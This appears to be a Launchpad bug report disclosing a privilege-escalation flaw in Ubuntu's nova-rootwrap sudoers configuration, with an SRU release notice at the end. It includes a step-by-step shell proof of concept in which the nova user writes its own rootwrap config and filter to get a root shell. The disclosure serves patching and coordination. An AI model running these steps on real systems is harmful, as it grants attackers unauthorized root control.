Bug Description

The rootwrap packaging guidelines at https://wiki.openstack.org/wiki/Packager/Rootwrap says that the sudoers file should have:

nova ALL = (root) NOPASSWD: /usr/bin/nova-rootwrap /etc/nova/rootwrap.conf *

But on Ubuntu 12.10 it is:

# cat /etc/sudoers.d/nova_sudoers
Defaults:nova !requiretty

nova ALL = (root) NOPASSWD: /usr/bin/nova-rootwrap

Now if an attacker somehow gets a shell under user nova they can specify any argument for nova-rootwrap:

$ id
uid=108(nova) gid=113(nova) groups=113(nova),112(libvirtd)
$
$ echo [DEFAULT] >/tmp/my-rootwrap.conf
$ echo filters_path=/tmp/my-filters.d >>/tmp/my-rootwrap.conf
$
$ mkdir /tmp/my-filters.d
$ echo [Filters] >/tmp/my-filters.d/my.filters
$ echo my-shell: CommandFilter, /bin/sh, root >>/tmp/my-filters.d/my.filters
$
$ sudo nova-rootwrap /tmp/my-rootwrap.conf sh
#
# id
uid=0(root) gid=0(root) groups=0(root)

The same goes for the quantum_sudoers from quantum-common.

I did an archive grep of trusty and found that cinder, quantum, nova and neutron are all affected. I'll do another grep for quantal, raring and saucy. Also, Debian is affected and I bet other distros might be too, so this will need distro coordination.

The verification of the Stable Release Update for cinder has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regresssions.
